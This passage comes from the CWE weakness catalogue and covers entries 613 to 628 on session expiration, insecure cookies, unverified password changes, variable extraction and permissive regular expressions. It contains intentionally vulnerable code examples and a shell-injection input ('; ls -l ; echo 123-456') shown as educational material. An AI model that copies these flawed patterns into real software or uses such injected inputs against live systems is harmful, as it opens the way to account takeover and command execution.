### Potential Mitigations

#### Implementation

Set sessions/credentials expiration date.

#### Other Notes

The lack of proper session expiration may improve the likely success of certain attacks. For example, an attacker may intercept a session ID, possibly via a network sniffer or Cross-site Scripting attack. Although short session expiration times do not help if a stolen token is immediately used, they will protect against ongoing replaying of the session ID. In another scenario, a user might access a web site from a shared computer (such as at a library, Internet cafe, or open work environment). Insufficient Session Expiration could allow an attacker to use the browser's back button to access web pages previously accessed by the victim.

### Relationships

Nature	Type	ID	Name		Page
CanPrecede		287	Improper Authentication		699 507 1000
ChildOf		361	Time and State		<b>699</b> 626
ChildOf		672	Operation on a Resource after Expiration or Release		<b>1000</b> 1039
ChildOf		724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management		<b>711</b> 1117
ChildOf		930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management		<b>928</b> 1358
ChildOf		951	SFP Secondary Cluster: Insecure Authentication Policy		<b>888</b> 1373
RequiredBy		352	<i>Cross-Site Request Forgery (CSRF)</i>		<i>1000 611</i>

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
WASC	47	Insufficient Session Expiration

## CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute

Weakness ID: 614 (*Weakness Variant*)

Status: Draft

### Description

#### Summary

The Secure attribute for sensitive cookies in HTTPS sessions is not set, which could cause the user agent to send those cookies in plaintext over an HTTP session.

#### Time of Introduction

- Implementation

### Common Consequences

**Confidentiality****Read application data****Demonstrative Examples**

The snippet of code below, taken from a servlet doPost() method, sets an accountID cookie (sensitive) without calling setSecure(true).

**Java Example:***Bad Code*

```
Cookie c = new Cookie(ACCOUNT_ID, acctID);
response.addCookie(c);
```

**Observed Examples**

Reference	Description
CVE-2004-0462	A product does not set the Secure attribute for sensitive cookies in HTTPS sessions, which could cause the user agent to send those cookies in plaintext over an HTTP session with the product.
CVE-2008-0128	A product does not set the secure flag for a cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie.
CVE-2008-3662	A product does not set the secure flag for the session cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie.
CVE-2008-3663	A product does not set the secure flag for the session cookie in an https session, which can cause the cookie to be sent in http requests and make it easier for remote attackers to capture this cookie.

**Potential Mitigations****Implementation**

Always set the secure attribute when the cookie should sent via HTTPS only.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		311	Missing Encryption of Sensitive Data	<b>699</b>	548
ChildOf		966	SFP Secondary Cluster: Other Exposures	<b>888</b>	1379

**Taxonomy Mappings****Mapped Taxonomy Name**

Anonymous Tool Vendor  
(under NDA)

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
102	Session Sidejacking	

**CWE-615: Information Exposure Through Comments****Weakness ID:** 615 (*Weakness Variant*)**Status:** Incomplete**Description****Summary**

While adding general comments is very useful, some programmers tend to leave important data, such as: filenames related to the web application, old links or links which were not meant to be browsed by users, old code fragments, etc.

**Extended Description**

An attacker who finds these comments can map the application's structure and files, expose hidden parts of the site, and study the fragments of code to reverse engineer the application, which may help develop further attacks against the site.

**Time of Introduction**

- Implementation

**Common Consequences**



**Confidentiality****Read application data****Demonstrative Examples**

The following comment, embedded in a JSP, will be displayed in the resulting HTML output.

**HTML/JSP Example:***Bad Code*

```
<!-- FIXME: calling this with more than 30 args kills the JDBC server -->
```



**Observed Examples**

Reference	Description
CVE-2007-4072	CMS places full pathname of server in HTML comment.
CVE-2007-6197	Version numbers and internal hostnames leaked in HTML comments.
CVE-2009-2431	blog software leaks real username in HTML comment.

**Potential Mitigations****Distribution**

Remove comments which have sensitive information about the design/implementation of the application. Some of the comments may be exposed to the user and affect the security posture of the application.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		540	Information Exposure Through Source Code	<b>699</b>	879
				<b>1000</b>	
ChildOf		963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377

## CWE-616: Incomplete Identification of Uploaded File Variables (PHP)

**Weakness ID:** 616 (*Weakness Variant*)**Status:** Incomplete**Description****Summary**

The PHP application uses an old method for processing uploaded files by referencing the four global variables that are set for each file (e.g. \$varname, \$varname\_size, \$varname\_name, \$varname\_type). These variables could be overwritten by attackers, causing the application to process unauthorized files.

**Extended Description**

These global variables could be overwritten by POST requests, cookies, or other methods of populating or overwriting these variables. This could be used to read or process arbitrary files by providing values such as "/etc/passwd".

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- PHP

**Common Consequences****Confidentiality****Integrity****Read files or directories****Modify files or directories****Demonstrative Examples****Example 1:**

As of 2006, the "four globals" method is probably in sharp decline, but older PHP applications could have this issue.

In the "four globals" method, PHP sets the following 4 global variables (where "varname" is application-dependent):

**PHP Example:**

Bad Code

```
$varname = name of the temporary file on local machine
$varname_size = size of file
$varname_name = original name of file provided by client
$varname_type = MIME type of the file
```

**Example 2:**

"The global \$\_FILES exists as of PHP 4.1.0 (Use \$HTTP\_POST\_FILES instead if using an earlier version). These arrays will contain all the uploaded file information."

**PHP Example:**

Bad Code

```
$_FILES['userfile']['name'] - original filename from client
$_FILES['userfile']['tmp_name'] - the temp filename of the file on the server
```

\*\* note: 'userfile' is the field name from the web form; this can vary.

**Observed Examples**

Reference	Description
CVE-2002-1460	Forum does not properly verify whether a file was uploaded or if the associated variables were set by POST, allowing remote attackers to read arbitrary files.
CVE-2002-1710	Product does not distinguish uploaded file from other files.
CVE-2002-1759	Product doesn't check if the variables for an upload were set by uploading the file, or other methods such as \$_POST.

**Potential Mitigations**

**Architecture and Design**

Use PHP 4 or later.

**Architecture and Design**

If you must support older PHP versions, write your own version of is\_uploaded\_file() and run it against \$HTTP\_POST\_FILES['userfile'])

**Implementation**

For later PHP versions, reference uploaded files using the \$HTTP\_POST\_FILES or \$\_FILES variables, and use is\_uploaded\_file() or move\_uploaded\_file() to ensure that you are dealing with an uploaded file.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name		Page
ChildOf		345	Insufficient Verification of Data Authenticity	<input checked="" type="checkbox"/>	600
ChildOf		429	Handler Errors		738
PeerOf		473	PHP External Variable Modification		796
ChildOf		994	SFP Secondary Cluster: Tainted Input to Variable		1391

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Incomplete Identification of Uploaded File Variables (PHP)
Software Fault Patterns	SFP25	Tainted input to variable

**References**

Shaun Clowes. "A Study in Scarlet - section 5, "File Upload"".

**CWE-617: Reachable Assertion**

**Weakness ID:** 617 (Weakness Variant) **Status:** Draft

**Description**

**Summary**

The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary.

**Extended Description**

While assertion is good for catching logic errors and reducing the chances of reaching more serious vulnerability conditions, it can still lead to a denial of service. For example, if a server handles multiple simultaneous connections, and an assert() occurs in one single connection that causes all other connections to be dropped, this is a reachable assertion that leads to a denial of service.

#### Time of Introduction

- Implementation

#### Common Consequences

##### Availability

##### DoS: crash / exit / restart

An attacker that can trigger an assert statement can still lead to a denial of service if the relevant code can be triggered by an attacker, and if the scope of the assert() extends beyond the attacker's own session.

#### Demonstrative Examples

In the excerpt below, an AssertionError (an unchecked exception) is thrown if the user hasn't entered an email address in an HTML form.

##### Java Example:

*Bad Code*

```
String email = request.getParameter("email_address");
assert email != null;
```

#### Observed Examples

Reference	Description
CVE-2006-4095	Product allows remote attackers to cause a denial of service (crash) via certain queries, which cause an assertion failure.
CVE-2006-4574	Chain: security monitoring product has an off-by-one error that leads to unexpected length values, triggering an assertion.
CVE-2006-5779	Product allows remote attackers to cause a denial of service (daemon crash) via LDAP BIND requests with long authcid names, which triggers an assertion failure.
CVE-2006-6767	FTP server allows remote attackers to cause a denial of service (daemon abort) via crafted commands which trigger an assertion failure.
CVE-2006-6811	Chat client allows remote attackers to cause a denial of service (crash) via a long message string when connecting to a server, which causes an assertion failure.

#### Potential Mitigations

##### Implementation

Make sensitive open/close operation non reachable by directly user-controlled data (e.g. open/close resources)

##### Implementation

##### Input Validation

Perform input validation on user data.

#### Weakness Ordinalities

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

#### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		398	Indicator of Poor Code Quality	699	684
ChildOf		670	Always-Incorrect Control Flow Implementation	1000	1037
ChildOf		850	CERT Java Secure Coding Section 05 - Methods (MET)	844	1293
ChildOf		1001	SFP Secondary Cluster: Use of an Improper API	888	1403
CanFollow		193	Off-by-one Error	1000	371
MemberOf		884	CWE Cross-section	884	1319

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT Java Secure Coding	MET01-J	Never use assertions to validate method arguments
Software Fault Patterns	SFP3	Use of an improper API

# CWE-618: Exposed Unsafe ActiveX Method

Weakness ID: 618 (Weakness Base) Status: Incomplete

## Description

### Summary

An ActiveX control is intended for use in a web browser, but it exposes dangerous methods that perform actions that are outside of the browser's security model (e.g. the zone or domain).

### Extended Description

ActiveX controls can exercise far greater control over the operating system than typical Java or javascript. Exposed methods can be subject to various vulnerabilities, depending on the implemented behaviors of those methods, and whether input validation is performed on the provided arguments. If there is no integrity checking or origin validation, this method could be invoked by attackers.

### Time of Introduction

- Architecture and Design
- Implementation

### Common Consequences

Other

Other

### Observed Examples

Reference	Description
CVE-2006-6838	control downloads and executes a url in a parameter
CVE-2007-0321	resultant buffer overflow
CVE-2007-1120	download a file to arbitrary folders.

### Potential Mitigations

#### Implementation

If you must expose a method, make sure to perform input validation on all arguments, and protect against all possible vulnerabilities.

#### Architecture and Design

Use code signing, although this does not protect against any weaknesses that are already in the control.

#### Architecture and Design

##### System Configuration

Where possible, avoid marking the control as safe for scripting.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	CVSS	Page
PeerOf		100	Technology-Specific Input Validation Problems	1000	192
ChildOf		275	Permission Issues	699	488
ChildOf		749	Exposed Dangerous Method or Function	1000	1138
ChildOf		977	SFP Secondary Cluster: Design	888	1382
PeerOf		623	Unsafe ActiveX Control Marked Safe For Scripting	1000	971

### References

< <http://msdn.microsoft.com/workshop/components/activex/safety.asp> >.

< <http://msdn.microsoft.com/workshop/components/activex/security.asp> >.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 12, "ActiveX Security", Page 749.. 1st Edition. Addison Wesley. 2006.

# CWE-619: Dangling Database Cursor ('Cursor Injection')

Weakness ID: 619 (Weakness Base) Status: Incomplete

## Description

## Summary

If a database cursor is not closed properly, then it could become accessible to other users while retaining the same privileges that were originally assigned, leaving the cursor "dangling."

## Extended Description

For example, an improper dangling cursor could arise from unhandled exceptions. The impact of the issue depends on the cursor's role, but SQL injection attacks are commonly possible.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- SQL

### Modes of Introduction

This issue is currently reported for unhandled exceptions, but it is theoretically possible any time the programmer does not close the cursor at the proper time.

### Common Consequences

#### Confidentiality

#### Integrity

#### Read application data

#### Modify application data

### Potential Mitigations

#### Implementation

Close cursors immediately after access to them is complete. Ensure that you close cursors if exceptions occur.

### Background Details

A cursor is a feature in Oracle PL/SQL and other languages that provides a handle for executing and accessing the results of SQL queries.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

This could be primary when the programmer never attempts to close the cursor when finished with it.

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
PeerOf	<b>C</b>	265	Privilege / Sandbox Issues	1000	469
PeerOf	<b>C</b>	388	Error Handling	1000	669
ChildOf	<b>G</b>	402	Transmission of Private Resources into a New Sphere ('Resource Leak')	699 1000	697
ChildOf	<b>B</b>	404	Improper Resource Shutdown or Release	<b>699</b> <b>1000</b>	699
ChildOf	<b>C</b>	990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP24	Tainted input to command

### References

David Litchfield. "The Oracle Hacker's Handbook".

David Litchfield. "Cursor Injection". < <http://www.databasesecurity.com/dbsec/cursor-injection.pdf> >.

## CWE-620: Unverified Password Change

Weakness ID: 620 (Weakness Variant)

Status: Draft

### Description

#### Summary

When setting a new password for a user, the product does not require knowledge of the original password, or using another form of authentication.

### Extended Description

This could be used by an attacker to change passwords for another user, thus gaining the privileges associated with that user.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Access Control

#### Bypass protection mechanism

#### Gain privileges / assume identity

### Demonstrative Examples

This code changes a user's password.

#### PHP Example:

*Bad Code*

```
$user = $_GET['user'];
$pass = $_GET['pass'];
$checkpass = $_GET['checkpass'];
if ($pass == $checkpass) {
    SetUserPassword($user, $pass);
}
```

While the code confirms that the requesting user typed the same new password twice, it does not confirm that the user requesting the password change is the same user whose password will be changed. An attacker can request a change of another user's password and gain control of the victim's account.

### Observed Examples

Reference	Description
CVE-2000-0944	Web application password change utility doesn't check the original password.
CVE-2007-0681	Web app allows remote attackers to change the passwords of arbitrary users without providing the original password, and possibly perform other unauthorized actions.

### Potential Mitigations

#### Architecture and Design

When prompting for a password change, force the user to provide the original password in addition to the new password.

#### Architecture and Design

Do not use "forgotten password" functionality. But if you must, ensure that you are only providing information to the actual user, e.g. by using an email address or challenge question that the legitimate user already provided in the past; do not allow the current user to change this identity information until the correct password has been provided.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

**Resultant** (where the weakness is typically related to the presence of some other weaknesses)

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		255	Credentials Management	699	453
ChildOf		287	Improper Authentication	<b>699</b> <b>1000</b>	507
ChildOf		724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	<b>711</b>	1117
ChildOf		930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	<b>928</b>	1358

Nature	Type	ID	Name	V	Page
ChildOf	C	952	SFP Secondary Cluster: Missing Authentication	888	1373

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management
Software Fault Patterns	SFP31		Missing authentication

### References

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 19: Use of Weak Password-Based Systems." Page 279. McGraw-Hill. 2010.

## CWE-621: Variable Extraction Error

Weakness ID: 621 (Weakness Base) Status: Incomplete

### Description

#### Summary

The product uses external input to determine the names of variables into which information is extracted, without verifying that the names of the specified variables are valid. This could cause the program to overwrite unintended variables.

#### Extended Description

For example, in PHP, extraction can be used to provide functionality similar to `register_globals`, a dangerous functionality that is frequently disabled in production systems. Calling `extract()` or `import_request_variables()` without the proper arguments could allow arbitrary global variables to be overwritten, including superglobals.

Similar functionality is possible in other interpreted languages, including custom languages.

### Alternate Terms

#### Variable overwrite

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- PHP

### Common Consequences

#### Integrity

#### Modify application data

An attacker could modify sensitive data or program variables.

### Demonstrative Examples

This code uses the credentials sent in a POST request to login a user.

#### PHP Example:

*Bad Code*

```
//Log user in, and set $isAdmin to true if user is an administrator
function login($user,$pass){
    $query = buildQuery($user,$pass);
    mysql_query($query);
    if(getUserRole($user) == "Admin"){
        $isAdmin = true;
    }
}
$isAdmin = false;
extract($_POST);
login(mysql_real_escape_string($user),mysql_real_escape_string($pass));
```

The call to `extract()` will overwrite the existing values of any variables defined previously, in this case `$isAdmin`. An attacker can send a POST request with an unexpected third value "isAdmin" equal to "true", thus gaining Admin privileges.

### Observed Examples



Reference	Description
CVE-2006-2828	import_request_variables() buried in include files makes post-disclosure analysis confusing
CVE-2006-6661	extract() enables static code injection
CVE-2006-7079	extract used for register_globals compatibility layer, enables path traversal
CVE-2006-7135	extract issue enables file inclusion
CVE-2007-0649	extract() buried in include files makes post-disclosure analysis confusing; original report had seemed incorrect.

### Potential Mitigations

#### Implementation

#### Input Validation

Use whitelists of variable names that can be extracted.

#### Implementation

Consider refactoring your code to avoid extraction routines altogether.

#### Implementation

In PHP, call extract() with options such as EXTR\_SKIP and EXTR\_PREFIX\_ALL; call import\_request\_variables() with a prefix argument. Note that these capabilities are not present in all PHP versions.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	V	Page
CanPrecede	B	471	Modification of Assumed-Immutable Data (MAID)	1000	792
ChildOf	B	914	Improper Control of Dynamically-Identified Variables	<b>699</b> <b>1000</b>	1337
ChildOf	C	990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388
MemberOf	V	884	<i>CWE Cross-section</i>	<b>884</b>	1319

### Research Gaps

Probably under-reported for PHP. Under-studied for other interpreted languages.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP24	Tainted input to command

## CWE-622: Improper Validation of Function Hook Arguments

Weakness ID: 622 (Weakness Variant)

Status: Draft

### Description

#### Summary

A product adds hooks to user-accessible API functions, but does not properly validate the arguments. This could lead to resultant vulnerabilities.

#### Extended Description

Such hooks can be used in defensive software that runs with privileges, such as anti-virus or firewall, which hooks kernel calls. When the arguments are not validated, they could be used to bypass the protection scheme or attack the product itself.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Integrity

#### Unexpected state

### Observed Examples

Reference	Description
CVE-2006-4541	DoS in IDS via NULL argument
CVE-2006-7160	DoS in firewall using standard Microsoft functions
CVE-2007-0708	DoS in firewall using standard Microsoft functions
CVE-2007-1220	invalid syscall arguments bypass code execution limits
CVE-2007-1376	function does not verify that its argument is the proper type, leading to arbitrary memory write

### Potential Mitigations

#### Architecture and Design

Ensure that all arguments are verified, as defined by the API you are protecting.



#### Architecture and Design

Drop privileges before invoking such functions, if possible.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	Count	Page
ChildOf		20	Improper Input Validation	699 1000	18
ChildOf		991	SFP Secondary Cluster: Tainted Input to Environment	888	1390

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP27	Tainted input to environment

## CWE-623: Unsafe ActiveX Control Marked Safe For Scripting

Weakness ID: 623 (Weakness Variant)

Status: Draft

### Description

#### Summary

An ActiveX control is intended for restricted use, but it has been marked as safe-for-scripting.

#### Extended Description

This might allow attackers to use dangerous functionality via a web page that accesses the control, which can lead to different resultant vulnerabilities, depending on the control's behavior.

### Time of Introduction

- Architecture and Design
- Implementation

### Common Consequences

#### Confidentiality

#### Integrity

#### Availability

Execute unauthorized code or commands

### Observed Examples

Reference	Description
CVE-2006-6510	kiosk allows bypass to read files
CVE-2007-0219	web browser uses certain COM objects as ActiveX
CVE-2007-0617	add emails to spam whitelist

### Potential Mitigations

#### Architecture and Design

During development, do not mark it as safe for scripting.

#### System Configuration

After distribution, you can set the kill bit for the control so that it is not accessible from Internet Explorer.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	B	267	Privilege Defined With Unsafe Actions	699 1000	473
PeerOf	B	618	Exposed Unsafe ActiveX Method	1000	966
ChildOf	C	691	Insufficient Control Flow Management	1000	1072
ChildOf	C	978	SFP Secondary Cluster: Implementation	888	1383

### Research Gaps

It is suspected that this is under-reported.

### References

< <http://msdn.microsoft.com/workshop/components/activex/safety.asp> >.

< <http://msdn.microsoft.com/workshop/components/activex/security.asp> >.

< <http://support.microsoft.com/kb/240797> >.

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 16, "What ActiveX Components Are Safe for Initialization and Safe for Scripting?" Page 510. 2nd Edition. Microsoft. 2002.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 12, "ActiveX Security", Page 749.. 1st Edition. Addison Wesley. 2006.

## CWE-624: Executable Regular Expression Error

**Weakness ID:** 624 (Weakness Base)

**Status:** Incomplete

### Description

#### Summary

The product uses a regular expression that either (1) contains an executable component with user-controlled inputs, or (2) allows a user to enable execution by inserting pattern modifiers.

#### Extended Description

Case (2) is possible in the PHP preg\_replace() function, and possibly in other languages when a user-controlled input is inserted into a string that is later parsed as a regular expression.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- PHP
- Perl

### Common Consequences

#### Confidentiality

#### Integrity

#### Availability

**Execute unauthorized code or commands**

### Observed Examples

Reference	Description
CVE-2005-3420	Executable regexp in PHP by inserting "e" modifier into first argument to preg_replace
CVE-2006-2059	Executable regexp in PHP by inserting "e" modifier into first argument to preg_replace
CVE-2006-2878	CVE-2006-2908 syntax inserted into the replacement argument to PHP preg_replace(), which uses the "/e" modifier
CVE-2006-2908	Function allows remote attackers to execute arbitrary PHP code via the username field, which is used in a preg_replace function call with a /e (executable) modifier.

### Potential Mitigations

#### Implementation

The regular expression feature in some languages allows inputs to be quoted or escaped before insertion, such as \Q and \E in Perl.

### Relationships

Nature	Type	ID	Name	✓	Page
ChildOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	699	117
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	1000	1388
				888	

### Research Gaps

Under-studied. The existing PHP reports are limited to highly skilled researchers, but there are few examples for other languages. It is suspected that this is under-reported for all languages. Usability factors might make it more prevalent in PHP, but this theory has not been investigated.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP24	Tainted input to command

## CWE-625: Permissive Regular Expression

Weakness ID: 625 (Weakness Base)

Status: Draft

### Description

#### Summary

The product uses a regular expression that does not sufficiently restrict the set of allowed values.

#### Extended Description

This effectively causes the regexp to accept substrings that match the pattern, which produces a partial comparison to the target. In some cases, this can lead to other weaknesses. Common errors include:

- not identifying the beginning and end of the target string
- using wildcards instead of acceptable character ranges
- others

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- Perl
- PHP

### Modes of Introduction

This problem is frequently found when the regular expression is used in input validation or security features such as authentication.

### Common Consequences

#### Access Control

#### Bypass protection mechanism

### Demonstrative Examples

#### Perl Example:

Bad Code

```
$phone = GetPhoneNumber();
if ($phone =~ /\d+-\d+/) {
    # looks like it only has hyphens and digits
    system("lookup-phone $phone");
}
else {
    error("malformed number!");
}
```

An attacker could provide an argument such as: "; ls -l ; echo 123-456" This would pass the check, since "123-456" is sufficient to match the "\d+-\d+" portion of the regular expression.

### Observed Examples

Reference	Description
	VIM Mailing list, March 14, 2006
CVE-2002-2109	Regexp isn't "anchored" to the beginning or end, which allows spoofed values that have trusted values as substrings.

Reference	Description
CVE-2002-2175	insertion of username into regexp results in partial comparison, causing wrong database entry to be updated when one username is a substring of another.
CVE-2005-1949	Regexp for IP address isn't anchored at the end, allowing appending of shell metacharacters.
CVE-2006-1895	".*" regexp leads to static code injection
CVE-2006-4527	regexp intended to verify that all characters are legal, only checks that at least one is legal, enabling file inclusion.
CVE-2006-6511	regexp in .htaccess file allows access of files whose names contain certain substrings
CVE-2006-6629	allow load of macro files whose names contain certain substrings.

## Potential Mitigations








### Implementation

When applicable, ensure that the regular expression marks beginning and ending string patterns, such as `"/^string$/"` for Perl.

## Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
PeerOf		183	Permissive Whitelist		1000 352
PeerOf		184	Incomplete Blacklist		1000 352
ChildOf		185	Incorrect Regular Expression		<b>699</b> 355 <b>1000</b>
PeerOf		187	Partial Comparison		1000 357
ChildOf		845	CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)		<b>844</b> 1291
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command		<b>888</b> 1388
ParentOf		777	<i>Regular Expression without Anchors</i>		<b>699</b> 1192 <b>1000</b>

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT Java Secure Coding	IDS08-J	Sanitize untrusted data passed to a regex

## References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Character Stripping Vulnerabilities", Page 437.. 1st Edition. Addison Wesley. 2006.

# CWE-626: Null Byte Interaction Error (Poison Null Byte)

Weakness ID: 626 (Weakness Variant)

Status: Draft

## Description

### Summary

The product does not properly handle null bytes or NUL characters when passing data between different representations or components.

### Extended Description

A null byte (NUL character) can have different meanings across representations or languages. For example, it is a string terminator in standard C libraries, but Perl and PHP strings do not treat it as a terminator. When two representations are crossed - such as when Perl or PHP invokes underlying C functionality - this can produce an interaction error with unexpected results. Similar issues have been reported for ASP. Other interpreters written in C might also be affected.

The poison null byte is frequently useful in path traversal attacks by terminating hard-coded extensions that are added to a filename. It can play a role in regular expression processing in PHP.

## Terminology Notes

Current usage of "poison null byte" is typically related to this C/Perl/PHP interaction error, but the original term in 1998 was applied to an off-by-one buffer overflow involving a null byte.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- PHP
- Perl
- ASP.NET

### Common Consequences

#### Integrity

#### Unexpected state

### Observed Examples

Reference	Description
CVE-2005-3153	inserting SQL after a NUL byte bypasses whitelist regexp, enabling SQL injection
CVE-2005-4155	NUL byte bypasses PHP regular expression check

### Potential Mitigations

#### Implementation

Remove null bytes from all incoming strings.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		20	Improper Input Validation	699	18
ChildOf		436	Interpretation Conflict	1000	749
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	1000	1388
				888	

### Research Gaps

There are not many CVE examples, because the poison NULL byte is a design limitation, which typically is not included in CVE by itself. It is typically used as a facilitator manipulation to widen the scope of potential attacks against other vulnerabilities.

### References

- Rain Forest Puppy. "Poison NULL byte". Phrack 55. < <http://insecure.org/news/P55-07.txt> >.
- Brett Moore. "0x00 vs ASP file upload scripts". < [http://www.security-assessment.com/Whitepapers/0x00\\_vs\\_ASP\\_File\\_Uploads.pdf](http://www.security-assessment.com/Whitepapers/0x00_vs_ASP_File_Uploads.pdf) >.
- ShAnKaR. "ShAnKaR: multiple PHP application poison NULL byte vulnerability". < <http://seclists.org/fulldisclosure/2006/Sep/0185.html> >.

## CWE-627: Dynamic Variable Evaluation

**Weakness ID:** 627 (Weakness Base) **Status:** Incomplete

### Description

#### Summary

In a language where the user can influence the name of a variable at runtime, if the variable names are not controlled, an attacker can read or write to arbitrary variables, or access arbitrary functions.

#### Extended Description

The resultant vulnerabilities depend on the behavior of the application, both at the crossover point and in any control/data flow that is reachable by the related variables or functions.

### Alternate Terms

#### Dynamic evaluation

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- PHP
- Perl

### Common Consequences

**Confidentiality**

**Integrity**

**Availability**

**Modify application data**

**Execute unauthorized code or commands**

An attacker could gain unauthorized access to internal program variables and execute arbitrary code.

### Observed Examples

Reference	Description
CVE-2006-4019	Dynamic variable evaluation in mail program allows reading and modifying attachments and preferences of other users.
CVE-2006-4904	Chain: dynamic variable evaluation in PHP program used to conduct remote file inclusion.
CVE-2007-2431	Chain: dynamic variable evaluation in PHP program used to modify critical, unexpected \$_SERVER variable for resultant XSS.
CVE-2009-0422	Chain: Dynamic variable evaluation allows resultant remote file inclusion and path traversal.

### Potential Mitigations

**Implementation**

**Refactoring**

Refactor the code to avoid dynamic variable evaluation whenever possible.

**Implementation**

**Input Validation**

Use only whitelists of acceptable variable or function names.

**Implementation**

For function names, ensure that you are only calling functions that accept the proper number of arguments, to avoid unexpected null arguments.

### Background Details

Many interpreted languages support the use of a "\$\$varname" construct to set a variable whose name is specified by the \$varname variable. In PHP, these are referred to as "variable variables." Functions might also be invoked using similar syntax, such as \$\$funcname(arg1, arg2).

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name		Page
PeerOf		183	Permissive Whitelist		1000 352
ChildOf		914	Improper Control of Dynamically-Identified Variables		<b>699</b> 1337
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command		<b>888</b> 1388
MemberOf		884	CWE Cross-section		<b>884</b> 1319

### Research Gaps

Under-studied, probably under-reported. Few researchers look for this issue; most public reports are for PHP, although other languages are affected. This issue is likely to grow in PHP as developers begin to implement functionality in place of register\_globals.

### References

Steve Christey. "Dynamic Evaluation Vulnerabilities in PHP applications". Full-Disclosure. 2006-05-03. < <http://seclists.org/fulldisclosure/2006/May/0035.html> >.

Shaun Clowes. "A Study In Scarlet: Exploiting Common Vulnerabilities in PHP Applications". < <http://www.securereality.com.au/studyinscarlet.txt> >.



# CWE-628: Function Call with Incorrectly Specified Arguments

Weakness ID: 628 (Weakness Base)

Status: Draft

## Description

### Summary

The product calls a function, procedure, or routine with arguments that are not correctly specified, leading to always-incorrect behavior and resultant weaknesses.

### Extended Description

There are multiple ways in which this weakness can be introduced, including:

- the wrong variable or reference;
- an incorrect number of arguments;
- incorrect order of arguments;
- wrong type of arguments; or
- wrong value.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Other

#### Access Control

#### Quality degradation

#### Gain privileges / assume identity

This weakness can cause unintended behavior and can lead to additional weaknesses such as allowing an attacker to gain unintended access to system resources.

### Detection Methods

#### Other

Since these bugs typically introduce obviously incorrect behavior, they are found quickly, unless they occur in rarely-tested code paths. Managing the correct number of arguments can be made more difficult in cases where format strings are used, or when variable numbers of arguments are supported.

### Demonstrative Examples

#### Example 1:

